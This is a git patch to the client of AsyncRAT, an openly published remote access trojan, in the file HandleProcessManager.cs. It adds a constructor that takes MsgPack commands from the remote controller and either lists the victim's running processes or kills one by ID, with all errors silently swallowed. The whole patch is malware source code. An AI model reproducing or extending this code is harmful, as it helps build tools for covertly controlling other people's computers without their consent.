From 1ca5eae0fb8c891147c90264874c6c44eb51f8e9 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 17 Jun 2019 17:29:18 +0300 Subject: [PATCH] Update HandleProcessManager.cs --- .../Handle Packet/HandleProcessManager.cs | 24 ++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs index 3a4cd3f..23c3ebd 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs @@ -11,8 +11,30 @@ using System.Text; namespace Client.Handle_Packet { - public class HandleProcessManager + public class HandleProcessManager { + public HandleProcessManager(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "List": + { + ProcessList(); + break; + } + + case "Kill": + { + ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); + break; + } + } + } + catch { } + } + public void ProcessKill(int ID) { foreach (var process in Process.GetProcesses())